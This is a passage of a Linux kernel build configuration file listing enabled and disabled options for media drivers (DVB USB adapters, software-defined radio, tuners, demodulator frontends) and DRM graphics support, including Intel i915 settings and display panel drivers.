CONFIG_DVB_USB_CXUSB=y
CONFIG_DVB_USB_CXUSB_ANALOG=y
CONFIG_DVB_USB_DIB0700=y
CONFIG_DVB_USB_DIB3000MC=y
CONFIG_DVB_USB_DIBUSB_MB=y
# CONFIG_DVB_USB_DIBUSB_MB_FAULTY is not set
CONFIG_DVB_USB_DIBUSB_MC=y
CONFIG_DVB_USB_DIGITV=y
CONFIG_DVB_USB_DTT200U=y
CONFIG_DVB_USB_DTV5100=y
CONFIG_DVB_USB_DW2102=y
CONFIG_DVB_USB_GP8PSK=y
CONFIG_DVB_USB_M920X=y
CONFIG_DVB_USB_NOVA_T_USB2=y
CONFIG_DVB_USB_OPERA1=y
CONFIG_DVB_USB_PCTV452E=y
CONFIG_DVB_USB_TECHNISAT_USB2=y
CONFIG_DVB_USB_TTUSB2=y
CONFIG_DVB_USB_UMT_010=y
CONFIG_DVB_USB_VP702X=y
CONFIG_DVB_USB_VP7045=y
CONFIG_SMS_USB_DRV=y
CONFIG_DVB_TTUSB_BUDGET=y
CONFIG_DVB_TTUSB_DEC=y

#
# Webcam, TV (analog/digital) USB devices
#
CONFIG_VIDEO_EM28XX=y
CONFIG_VIDEO_EM28XX_V4L2=y
CONFIG_VIDEO_EM28XX_ALSA=y
CONFIG_VIDEO_EM28XX_DVB=y
CONFIG_VIDEO_EM28XX_RC=y

#
# Software defined radio USB devices
#
CONFIG_USB_AIRSPY=y
CONFIG_USB_HACKRF=y
CONFIG_USB_MSI2500=y
# CONFIG_MEDIA_PCI_SUPPORT is not set
CONFIG_RADIO_ADAPTERS=y
# CONFIG_RADIO_MAXIRADIO is not set
# CONFIG_RADIO_SAA7706H is not set
CONFIG_RADIO_SHARK=y
CONFIG_RADIO_SHARK2=y
CONFIG_RADIO_SI4713=y
CONFIG_RADIO_TEA575X=y
# CONFIG_RADIO_TEA5764 is not set
# CONFIG_RADIO_TEF6862 is not set
CONFIG_USB_DSBR=y
CONFIG_USB_KEENE=y
CONFIG_USB_MA901=y
CONFIG_USB_MR800=y
CONFIG_USB_RAREMONO=y
CONFIG_RADIO_SI470X=y
CONFIG_USB_SI470X=y
# CONFIG_I2C_SI470X is not set
CONFIG_USB_SI4713=y
# CONFIG_PLATFORM_SI4713 is not set
CONFIG_I2C_SI4713=y
# CONFIG_MEDIA_PLATFORM_DRIVERS is not set

#
# MMC/SDIO DVB adapters
#
CONFIG_SMS_SDIO_DRV=y
CONFIG_V4L_TEST_DRIVERS=y
CONFIG_VIDEO_VIM2M=y
CONFIG_VIDEO_VICODEC=y
CONFIG_VIDEO_VIMC=y
CONFIG_VIDEO_VIVID=y
CONFIG_VIDEO_VIVID_CEC=y
# CONFIG_VIDEO_VIVID_OSD is not set
CONFIG_VIDEO_VIVID_MAX_DEVS=64
# CONFIG_VIDEO_VISL is not set
CONFIG_DVB_TEST_DRIVERS=y
CONFIG_DVB_VIDTV=y

#
# FireWire (IEEE 1394) Adapters
#
# CONFIG_DVB_FIREDTV is not set
CONFIG_MEDIA_COMMON_OPTIONS=y

#
# common driver options
#
CONFIG_CYPRESS_FIRMWARE=y
CONFIG_TTPCI_EEPROM=y
CONFIG_UVC_COMMON=y
CONFIG_VIDEO_CX2341X=y
CONFIG_VIDEO_TVEEPROM=y
CONFIG_DVB_B2C2_FLEXCOP=y
CONFIG_SMS_SIANO_MDTV=y
CONFIG_SMS_SIANO_RC=y
CONFIG_SMS_SIANO_DEBUGFS=y
CONFIG_VIDEO_V4L2_TPG=y
CONFIG_VIDEOBUF2_CORE=y
CONFIG_VIDEOBUF2_V4L2=y
CONFIG_VIDEOBUF2_MEMOPS=y
CONFIG_VIDEOBUF2_DMA_CONTIG=y
CONFIG_VIDEOBUF2_VMALLOC=y
CONFIG_VIDEOBUF2_DMA_SG=y
# end of Media drivers

#
# Media ancillary drivers
#
CONFIG_MEDIA_ATTACH=y
# CONFIG_VIDEO_IR_I2C is not set
# CONFIG_VIDEO_CAMERA_SENSOR is not set

#
# Camera ISPs
#
# CONFIG_VIDEO_THP7312 is not set
# end of Camera ISPs

# CONFIG_VIDEO_CAMERA_LENS is not set

#
# Flash devices
#
# CONFIG_VIDEO_ADP1653 is not set
# CONFIG_VIDEO_LM3560 is not set
# CONFIG_VIDEO_LM3646 is not set
# end of Flash devices

#
# Audio decoders, processors and mixers
#
# CONFIG_VIDEO_CS3308 is not set
# CONFIG_VIDEO_CS5345 is not set
CONFIG_VIDEO_CS53L32A=y
CONFIG_VIDEO_MSP3400=y
# CONFIG_VIDEO_SONY_BTF_MPX is not set
# CONFIG_VIDEO_TDA1997X is not set
# CONFIG_VIDEO_TDA7432 is not set
# CONFIG_VIDEO_TDA9840 is not set
# CONFIG_VIDEO_TEA6415C is not set
# CONFIG_VIDEO_TEA6420 is not set
# CONFIG_VIDEO_TLV320AIC23B is not set
# CONFIG_VIDEO_TVAUDIO is not set
# CONFIG_VIDEO_UDA1342 is not set
# CONFIG_VIDEO_VP27SMPX is not set
# CONFIG_VIDEO_WM8739 is not set
CONFIG_VIDEO_WM8775=y
# end of Audio decoders, processors and mixers

#
# RDS decoders
#
# CONFIG_VIDEO_SAA6588 is not set
# end of RDS decoders

#
# Video decoders
#
# CONFIG_VIDEO_ADV7180 is not set
# CONFIG_VIDEO_ADV7183 is not set
# CONFIG_VIDEO_ADV748X is not set
# CONFIG_VIDEO_ADV7604 is not set
# CONFIG_VIDEO_ADV7842 is not set
# CONFIG_VIDEO_BT819 is not set
# CONFIG_VIDEO_BT856 is not set
# CONFIG_VIDEO_BT866 is not set
# CONFIG_VIDEO_ISL7998X is not set
# CONFIG_VIDEO_LT6911UXE is not set
# CONFIG_VIDEO_KS0127 is not set
# CONFIG_VIDEO_MAX9286 is not set
# CONFIG_VIDEO_ML86V7667 is not set
# CONFIG_VIDEO_SAA7110 is not set
CONFIG_VIDEO_SAA711X=y
# CONFIG_VIDEO_TC358743 is not set
# CONFIG_VIDEO_TC358746 is not set
# CONFIG_VIDEO_TVP514X is not set
# CONFIG_VIDEO_TVP5150 is not set
# CONFIG_VIDEO_TVP7002 is not set
# CONFIG_VIDEO_TW2804 is not set
# CONFIG_VIDEO_TW9900 is not set
# CONFIG_VIDEO_TW9903 is not set
# CONFIG_VIDEO_TW9906 is not set
# CONFIG_VIDEO_TW9910 is not set
# CONFIG_VIDEO_VPX3220 is not set

#
# Video and audio decoders
#
# CONFIG_VIDEO_SAA717X is not set
CONFIG_VIDEO_CX25840=y
# end of Video decoders

#
# Video encoders
#
# CONFIG_VIDEO_ADV7170 is not set
# CONFIG_VIDEO_ADV7175 is not set
# CONFIG_VIDEO_ADV7343 is not set
# CONFIG_VIDEO_ADV7393 is not set
# CONFIG_VIDEO_ADV7511 is not set
# CONFIG_VIDEO_AK881X is not set
# CONFIG_VIDEO_SAA7127 is not set
# CONFIG_VIDEO_SAA7185 is not set
# CONFIG_VIDEO_THS8200 is not set
# end of Video encoders

#
# Video improvement chips
#
# CONFIG_VIDEO_UPD64031A is not set
# CONFIG_VIDEO_UPD64083 is not set
# end of Video improvement chips

#
# Audio/Video compression chips
#
# CONFIG_VIDEO_SAA6752HS is not set
# end of Audio/Video compression chips

#
# SDR tuner chips
#
# CONFIG_SDR_MAX2175 is not set
# end of SDR tuner chips

#
# Miscellaneous helper chips
#
# CONFIG_VIDEO_INTEL_CVS is not set
# CONFIG_VIDEO_I2C is not set
# CONFIG_VIDEO_M52790 is not set
# CONFIG_VIDEO_ST_MIPID02 is not set
# CONFIG_VIDEO_THS7303 is not set
# end of Miscellaneous helper chips

#
# Video serializers and deserializers
#
# CONFIG_VIDEO_DS90UB913 is not set
# CONFIG_VIDEO_DS90UB953 is not set
# CONFIG_VIDEO_DS90UB960 is not set
# CONFIG_VIDEO_MAX96714 is not set
# CONFIG_VIDEO_MAX96717 is not set
# end of Video serializers and deserializers

#
# Media SPI Adapters
#
# CONFIG_CXD2880_SPI_DRV is not set
# CONFIG_VIDEO_GS1662 is not set
# end of Media SPI Adapters

CONFIG_MEDIA_TUNER=y

#
# Customize TV tuners
#
# CONFIG_MEDIA_TUNER_E4000 is not set
# CONFIG_MEDIA_TUNER_FC0011 is not set
# CONFIG_MEDIA_TUNER_FC0012 is not set
# CONFIG_MEDIA_TUNER_FC0013 is not set
# CONFIG_MEDIA_TUNER_FC2580 is not set
# CONFIG_MEDIA_TUNER_IT913X is not set
# CONFIG_MEDIA_TUNER_M88RS6000T is not set
# CONFIG_MEDIA_TUNER_MAX2165 is not set
# CONFIG_MEDIA_TUNER_MC44S803 is not set
CONFIG_MEDIA_TUNER_MSI001=y
# CONFIG_MEDIA_TUNER_MT2060 is not set
# CONFIG_MEDIA_TUNER_MT2063 is not set
# CONFIG_MEDIA_TUNER_MT20XX is not set
# CONFIG_MEDIA_TUNER_MT2131 is not set
# CONFIG_MEDIA_TUNER_MT2266 is not set
# CONFIG_MEDIA_TUNER_MXL301RF is not set
# CONFIG_MEDIA_TUNER_MXL5005S is not set
# CONFIG_MEDIA_TUNER_MXL5007T is not set
# CONFIG_MEDIA_TUNER_QM1D1B0004 is not set
# CONFIG_MEDIA_TUNER_QM1D1C0042 is not set
# CONFIG_MEDIA_TUNER_QT1010 is not set
# CONFIG_MEDIA_TUNER_R820T is not set
# CONFIG_MEDIA_TUNER_SI2157 is not set
# CONFIG_MEDIA_TUNER_SIMPLE is not set
# CONFIG_MEDIA_TUNER_TDA18212 is not set
# CONFIG_MEDIA_TUNER_TDA18218 is not set
# CONFIG_MEDIA_TUNER_TDA18250 is not set
# CONFIG_MEDIA_TUNER_TDA18271 is not set
# CONFIG_MEDIA_TUNER_TDA827X is not set
# CONFIG_MEDIA_TUNER_TDA8290 is not set
# CONFIG_MEDIA_TUNER_TDA9887 is not set
# CONFIG_MEDIA_TUNER_TEA5761 is not set
# CONFIG_MEDIA_TUNER_TEA5767 is not set
# CONFIG_MEDIA_TUNER_TUA9001 is not set
# CONFIG_MEDIA_TUNER_XC2028 is not set
# CONFIG_MEDIA_TUNER_XC4000 is not set
# CONFIG_MEDIA_TUNER_XC5000 is not set
# end of Customize TV tuners

#
# Customise DVB Frontends
#

#
# Multistandard (satellite) frontends
#
# CONFIG_DVB_M88DS3103 is not set
# CONFIG_DVB_MXL5XX is not set
# CONFIG_DVB_STB0899 is not set
# CONFIG_DVB_STB6100 is not set
# CONFIG_DVB_STV090x is not set
# CONFIG_DVB_STV0910 is not set
# CONFIG_DVB_STV6110x is not set
# CONFIG_DVB_STV6111 is not set

#
# Multistandard (cable + terrestrial) frontends
#
# CONFIG_DVB_DRXK is not set
# CONFIG_DVB_MN88472 is not set
# CONFIG_DVB_MN88473 is not set
# CONFIG_DVB_SI2165 is not set
# CONFIG_DVB_TDA18271C2DD is not set

#
# DVB-S (satellite) frontends
#
# CONFIG_DVB_CX24110 is not set
# CONFIG_DVB_CX24116 is not set
# CONFIG_DVB_CX24117 is not set
# CONFIG_DVB_CX24120 is not set
# CONFIG_DVB_CX24123 is not set
# CONFIG_DVB_DS3000 is not set
# CONFIG_DVB_MB86A16 is not set
# CONFIG_DVB_MT312 is not set
# CONFIG_DVB_S5H1420 is not set
# CONFIG_DVB_SI21XX is not set
# CONFIG_DVB_STB6000 is not set
# CONFIG_DVB_STV0288 is not set
# CONFIG_DVB_STV0299 is not set
# CONFIG_DVB_STV0900 is not set
# CONFIG_DVB_STV6110 is not set
# CONFIG_DVB_TDA10071 is not set
# CONFIG_DVB_TDA10086 is not set
# CONFIG_DVB_TDA8083 is not set
# CONFIG_DVB_TDA8261 is not set
# CONFIG_DVB_TDA826X is not set
# CONFIG_DVB_TS2020 is not set
# CONFIG_DVB_TUA6100 is not set
# CONFIG_DVB_TUNER_CX24113 is not set
# CONFIG_DVB_TUNER_ITD1000 is not set
# CONFIG_DVB_VES1X93 is not set
# CONFIG_DVB_ZL10036 is not set
# CONFIG_DVB_ZL10039 is not set

#
# DVB-T (terrestrial) frontends
#
CONFIG_DVB_AF9013=y
CONFIG_DVB_AS102_FE=y
# CONFIG_DVB_CX22700 is not set
# CONFIG_DVB_CX22702 is not set
# CONFIG_DVB_CXD2820R is not set
# CONFIG_DVB_CXD2841ER is not set
CONFIG_DVB_DIB3000MB=y
CONFIG_DVB_DIB3000MC=y
# CONFIG_DVB_DIB7000M is not set
# CONFIG_DVB_DIB7000P is not set
# CONFIG_DVB_DIB9000 is not set
# CONFIG_DVB_DRXD is not set
CONFIG_DVB_EC100=y
CONFIG_DVB_GP8PSK_FE=y
# CONFIG_DVB_L64781 is not set
# CONFIG_DVB_MT352 is not set
# CONFIG_DVB_NXT6000 is not set
CONFIG_DVB_RTL2830=y
CONFIG_DVB_RTL2832=y
CONFIG_DVB_RTL2832_SDR=y
# CONFIG_DVB_S5H1432 is not set
# CONFIG_DVB_SI2168 is not set
# CONFIG_DVB_SP887X is not set
# CONFIG_DVB_STV0367 is not set
# CONFIG_DVB_TDA10048 is not set
# CONFIG_DVB_TDA1004X is not set
# CONFIG_DVB_ZD1301_DEMOD is not set
CONFIG_DVB_ZL10353=y
# CONFIG_DVB_CXD2880 is not set

#
# DVB-C (cable) frontends
#
# CONFIG_DVB_STV0297 is not set
# CONFIG_DVB_TDA10021 is not set
# CONFIG_DVB_TDA10023 is not set
# CONFIG_DVB_VES1820 is not set

#
# ATSC (North American/Korean Terrestrial/Cable DTV) frontends
#
# CONFIG_DVB_AU8522_DTV is not set
# CONFIG_DVB_AU8522_V4L is not set
# CONFIG_DVB_BCM3510 is not set
# CONFIG_DVB_LG2160 is not set
# CONFIG_DVB_LGDT3305 is not set
# CONFIG_DVB_LGDT3306A is not set
# CONFIG_DVB_LGDT330X is not set
# CONFIG_DVB_MXL692 is not set
# CONFIG_DVB_NXT200X is not set
# CONFIG_DVB_OR51132 is not set
# CONFIG_DVB_OR51211 is not set
# CONFIG_DVB_S5H1409 is not set
# CONFIG_DVB_S5H1411 is not set

#
# ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_DIB8000 is not set
# CONFIG_DVB_MB86A20S is not set
# CONFIG_DVB_S921 is not set

#
# ISDB-S (satellite) & ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_MN88443X is not set
# CONFIG_DVB_TC90522 is not set

#
# Digital terrestrial only tuners/PLL
#
# CONFIG_DVB_PLL is not set
# CONFIG_DVB_TUNER_DIB0070 is not set
# CONFIG_DVB_TUNER_DIB0090 is not set

#
# SEC control devices for DVB-S
#
# CONFIG_DVB_A8293 is not set
CONFIG_DVB_AF9033=y
# CONFIG_DVB_ASCOT2E is not set
# CONFIG_DVB_ATBM8830 is not set
# CONFIG_DVB_HELENE is not set
# CONFIG_DVB_HORUS3A is not set
# CONFIG_DVB_ISL6405 is not set
# CONFIG_DVB_ISL6421 is not set
# CONFIG_DVB_ISL6423 is not set
# CONFIG_DVB_IX2505V is not set
# CONFIG_DVB_LGS8GL5 is not set
# CONFIG_DVB_LGS8GXX is not set
# CONFIG_DVB_LNBH25 is not set
# CONFIG_DVB_LNBH29 is not set
# CONFIG_DVB_LNBP21 is not set
# CONFIG_DVB_LNBP22 is not set
# CONFIG_DVB_M88RS2000 is not set
# CONFIG_DVB_TDA665x is not set
# CONFIG_DVB_DRX39XYJ is not set

#
# Common Interface (EN50221) controller drivers
#
# CONFIG_DVB_CXD2099 is not set
# CONFIG_DVB_SP2 is not set
# end of Customise DVB Frontends

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set
# end of Media ancillary drivers

#
# Graphics support
#
CONFIG_APERTURE_HELPERS=y
CONFIG_SCREEN_INFO=y
CONFIG_VIDEO=y
# CONFIG_AUXDISPLAY is not set
# CONFIG_PANEL is not set
CONFIG_AGP=y
CONFIG_AGP_AMD64=y
CONFIG_AGP_INTEL=y
# CONFIG_AGP_SIS is not set
# CONFIG_AGP_VIA is not set
CONFIG_INTEL_GTT=y
# CONFIG_VGA_SWITCHEROO is not set
CONFIG_GPU_BUDDY=y
# CONFIG_NOVA_CORE is not set
CONFIG_DRM=y

#
# DRM debugging options
#
# CONFIG_DRM_WERROR is not set
CONFIG_DRM_DEBUG_MM=y
# end of DRM debugging options

CONFIG_DRM_MIPI_DSI=y
CONFIG_DRM_KMS_HELPER=y
# CONFIG_DRM_PANIC is not set
# CONFIG_DRM_RAS is not set
# CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set
# CONFIG_DRM_DEBUG_MODESET_LOCK is not set
CONFIG_DRM_CLIENT=y
CONFIG_DRM_CLIENT_LIB=y
CONFIG_DRM_CLIENT_SELECTION=y
CONFIG_DRM_CLIENT_SETUP=y

#
# Supported DRM clients
#
CONFIG_DRM_FBDEV_EMULATION=y
CONFIG_DRM_FBDEV_OVERALLOC=100
# CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set
# CONFIG_DRM_CLIENT_LOG is not set
CONFIG_DRM_CLIENT_DEFAULT_FBDEV=y
CONFIG_DRM_CLIENT_DEFAULT="fbdev"
# end of Supported DRM clients

# CONFIG_DRM_LOAD_EDID_FIRMWARE is not set
CONFIG_DRM_DISPLAY_DP_AUX_BUS=y
CONFIG_DRM_DISPLAY_HELPER=y
# CONFIG_DRM_DISPLAY_DP_AUX_CEC is not set
# CONFIG_DRM_DISPLAY_DP_AUX_CHARDEV is not set
CONFIG_DRM_DISPLAY_DP_HELPER=y
CONFIG_DRM_DISPLAY_DSC_HELPER=y
CONFIG_DRM_DISPLAY_HDCP_HELPER=y
CONFIG_DRM_DISPLAY_HDMI_HELPER=y
CONFIG_DRM_TTM=y
CONFIG_DRM_BUDDY=y
CONFIG_DRM_TTM_HELPER=y
CONFIG_DRM_GEM_SHMEM_HELPER=y
# CONFIG_DRM_AMDGPU is not set

#
# ARM devices
#
# CONFIG_DRM_KOMEDA is not set
# end of ARM devices

# CONFIG_DRM_AST is not set
CONFIG_DRM_BRIDGE=y
CONFIG_DRM_PANEL_BRIDGE=y
CONFIG_DRM_AUX_BRIDGE=y
CONFIG_DRM_AUX_HPD_BRIDGE=y

#
# Display Interface Bridges
#
# CONFIG_DRM_CHIPONE_ICN6211 is not set
# CONFIG_DRM_CHRONTEL_CH7033 is not set
# CONFIG_DRM_DISPLAY_CONNECTOR is not set
# CONFIG_DRM_I2C_NXP_TDA998X is not set
# CONFIG_DRM_ITE_IT6263 is not set
# CONFIG_DRM_ITE_IT6505 is not set
# CONFIG_DRM_LONTIUM_LT8912B is not set
# CONFIG_DRM_LONTIUM_LT9211 is not set
# CONFIG_DRM_LONTIUM_LT9611 is not set
# CONFIG_DRM_LONTIUM_LT9611UXC is not set
# CONFIG_DRM_LONTIUM_LT8713SX is not set
# CONFIG_DRM_ITE_IT66121 is not set
# CONFIG_DRM_LVDS_CODEC is not set
# CONFIG_DRM_MEGACHIPS_STDPXXXX_GE_B850V3_FW is not set
# CONFIG_DRM_NWL_MIPI_DSI is not set
# CONFIG_DRM_NXP_PTN3460 is not set
# CONFIG_DRM_PARADE_PS8622 is not set
# CONFIG_DRM_PARADE_PS8640 is not set
# CONFIG_DRM_SAMSUNG_DSIM is not set
# CONFIG_DRM_SIL_SII8620 is not set
# CONFIG_DRM_SII902X is not set
# CONFIG_DRM_SII9234 is not set
# CONFIG_DRM_SIMPLE_BRIDGE is not set
# CONFIG_DRM_SOLOMON_SSD2825 is not set
# CONFIG_DRM_THINE_THC63LVD1024 is not set
# CONFIG_DRM_TOSHIBA_TC358762 is not set
# CONFIG_DRM_TOSHIBA_TC358764 is not set
# CONFIG_DRM_TOSHIBA_TC358767 is not set
# CONFIG_DRM_TOSHIBA_TC358768 is not set
# CONFIG_DRM_TOSHIBA_TC358775 is not set
# CONFIG_DRM_TI_DLPC3433 is not set
# CONFIG_DRM_TI_TDP158 is not set
# CONFIG_DRM_TI_TFP410 is not set
# CONFIG_DRM_TI_SN65DSI83 is not set
# CONFIG_DRM_TI_SN65DSI86 is not set
# CONFIG_DRM_TI_TPD12S015 is not set
# CONFIG_DRM_WAVESHARE_BRIDGE is not set
# CONFIG_DRM_ANALOGIX_ANX6345 is not set
# CONFIG_DRM_ANALOGIX_ANX78XX is not set
# CONFIG_DRM_ANALOGIX_ANX7625 is not set
# CONFIG_DRM_I2C_ADV7511 is not set
# CONFIG_DRM_CDNS_DSI is not set
# CONFIG_DRM_CDNS_MHDP8546 is not set
# end of Display Interface Bridges

# CONFIG_DRM_ETNAVIV is not set
# CONFIG_DRM_GMA500 is not set
CONFIG_DRM_GUD=y
# CONFIG_DRM_HISI_HIBMC is not set
CONFIG_DRM_I915=y
CONFIG_DRM_I915_FORCE_PROBE=""
CONFIG_DRM_I915_CAPTURE_ERROR=y
CONFIG_DRM_I915_COMPRESS_ERROR=y
CONFIG_DRM_I915_USERPTR=y
# CONFIG_DRM_I915_GVT_KVMGT is not set
# CONFIG_DRM_I915_DP_TUNNEL is not set

#
# drm/i915 Debugging
#
# CONFIG_DRM_I915_WERROR is not set
# CONFIG_DRM_I915_REPLAY_GPU_HANGS_API is not set
# CONFIG_DRM_I915_DEBUG is not set
# CONFIG_DRM_I915_DEBUG_MMIO is not set
# CONFIG_DRM_I915_SW_FENCE_DEBUG_OBJECTS is not set
# CONFIG_DRM_I915_SW_FENCE_CHECK_DAG is not set
# CONFIG_DRM_I915_DEBUG_GUC is not set
# CONFIG_DRM_I915_SELFTEST is not set
# CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS is not set
# CONFIG_DRM_I915_DEBUG_VBLANK_EVADE is not set
# CONFIG_DRM_I915_DEBUG_RUNTIME_PM is not set
# CONFIG_DRM_I915_DEBUG_WAKEREF is not set
# end of drm/i915 Debugging

#
# drm/i915 Profile Guided Optimisation
#
CONFIG_DRM_I915_REQUEST_TIMEOUT=20000
CONFIG_DRM_I915_FENCE_TIMEOUT=10000
CONFIG_DRM_I915_USERFAULT_AUTOSUSPEND=250
CONFIG_DRM_I915_HEARTBEAT_INTERVAL=2500
CONFIG_DRM_I915_PREEMPT_TIMEOUT=640
CONFIG_DRM_I915_PREEMPT_TIMEOUT_COMPUTE=7500
CONFIG_DRM_I915_MAX_REQUEST_BUSYWAIT=8000
CONFIG_DRM_I915_STOP_TIMEOUT=100
CONFIG_DRM_I915_TIMESLICE_DURATION=1
# end of drm/i915 Profile Guided Optimisation

# CONFIG_DRM_LOGICVC is not set
# CONFIG_DRM_MGAG200 is not set
# CONFIG_DRM_NOUVEAU is not set
# CONFIG_DRM_NOVA is not set
CONFIG_DRM_PANEL=y

#
# Display Panels
#
# CONFIG_DRM_PANEL_ABT_Y030XX067A is not set
# CONFIG_DRM_PANEL_ANBERNIC_TD4310 is not set
# CONFIG_DRM_PANEL_ARM_VERSATILE is not set
# CONFIG_DRM_PANEL_ASUS_Z00T_TM5P5_NT35596 is not set
# CONFIG_DRM_PANEL_AUO_A030JTN01 is not set
# CONFIG_DRM_PANEL_BOE_BF060Y8M_AJ0 is not set
# CONFIG_DRM_PANEL_BOE_HIMAX8279D is not set
# CONFIG_DRM_PANEL_BOE_TD4320 is not set
# CONFIG_DRM_PANEL_BOE_TH101MB31UIG002_28A is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_NL6 is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_LL2 is not set
# CONFIG_DRM_PANEL_CHIPONE_ICNA35XX is not set
# CONFIG_DRM_PANEL_CHIPWEALTH_CH13726A is not set
# CONFIG_DRM_PANEL_EBBG_FT8719 is not set
# CONFIG_DRM_PANEL_ELIDA_KD35T133 is not set
# CONFIG_DRM_PANEL_FEIXIN_K101_IM2BA02 is not set
# CONFIG_DRM_PANEL_FEIYANG_FY07024DI26A30D is not set
# CONFIG_DRM_PANEL_FOCALTECH_OTA7290B is not set
# CONFIG_DRM_PANEL_DSI_CM is not set
# CONFIG_DRM_PANEL_LVDS is not set
# CONFIG_DRM_PANEL_HIMAX_HX8279 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83102 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112A is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112B is not set
# CONFIG_DRM_PANEL_HIMAX_HX83121A is not set
# CONFIG_DRM_PANEL_HIMAX_HX8394 is not set
# CONFIG_DRM_PANEL_HYDIS_HV101HD1 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI7807S is not set
# CONFIG_DRM_PANEL_ILITEK_IL9322 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9341 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9488 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9805 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E_DSI is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E_SPI is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9881C is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9882T is not set
# CONFIG_DRM_PANEL_INNOLUX_EJ030NA is not set
# CONFIG_DRM_PANEL_INNOLUX_P079ZCA is not set
# CONFIG_DRM_PANEL_JADARD_JD9365DA_H3 is not set
# CONFIG_DRM_PANEL_JDI_LPM102A188A is not set
# CONFIG_DRM_PANEL_JDI_LT070ME05000 is not set
# CONFIG_DRM_PANEL_JDI_R63452 is not set
# CONFIG_DRM_PANEL_KHADAS_TS050 is not set
# CONFIG_DRM_PANEL_KINGDISPLAY_KD097D04 is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK050H3146W is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK500HD1829 is not set
# CONFIG_DRM_PANEL_LINCOLNTECH_LCD197 is not set
# CONFIG_DRM_PANEL_LG_LB035Q02 is not set
# CONFIG_DRM_PANEL_LG_LD070WX3 is not set
# CONFIG_DRM_PANEL_LG_LG4573 is not set
# CONFIG_DRM_PANEL_LG_SW43408 is not set
# CONFIG_DRM_PANEL_LXD_M9189A is not set
# CONFIG_DRM_PANEL_MAGNACHIP_D53E6EA8966 is not set
# CONFIG_DRM_PANEL_MANTIX_MLAF057WE51 is not set
# CONFIG_DRM_PANEL_MOTOROLA_MOT is not set
# CONFIG_DRM_PANEL_NEC_NL8048HL11 is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3051D is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3052C is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35510 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35532 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35560 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35950 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36523 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36536 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672A is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672E is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37700F is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37801 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT39016 is not set
# CONFIG_DRM_PANEL_OLIMEX_LCD_OLINUXINO is not set
# CONFIG_DRM_PANEL_ORISETECH_OTA5601A is not set
# CONFIG_DRM_PANEL_ORISETECH_OTM8009A is not set
# CONFIG_DRM_PANEL_OSD_OSD101T2587_53TS is not set
# CONFIG_DRM_PANEL_PANASONIC_VVX10F034N00 is not set
# CONFIG_DRM_PANEL_RASPBERRYPI_TOUCHSCREEN is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67191 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM68200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM692E5 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM69380 is not set
# CONFIG_DRM_PANEL_RENESAS_R61307 is not set
# CONFIG_DRM_PANEL_RENESAS_R63419 is not set
# CONFIG_DRM_PANEL_RENESAS_R69328 is not set
# CONFIG_DRM_PANEL_RONBO_RB070D30 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS581VF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS639RQ08 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS427AP24 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS452EF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_ATNA33XC20 is not set
# CONFIG_DRM_PANEL_SAMSUNG_DB7430 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LD9040 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LTL106HL02 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FA7 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D16D0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D27A1 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D7AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FC2X01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA2 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA8 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63J0X03 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63M0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA5X01_AMS561RA01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8FC0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_SOFEF00 is not set
# CONFIG_DRM_PANEL_SEIKO_43WVF1G is not set
# CONFIG_DRM_PANEL_SHARP_LQ079L1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LQ101R1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LS037V7DW01 is not set
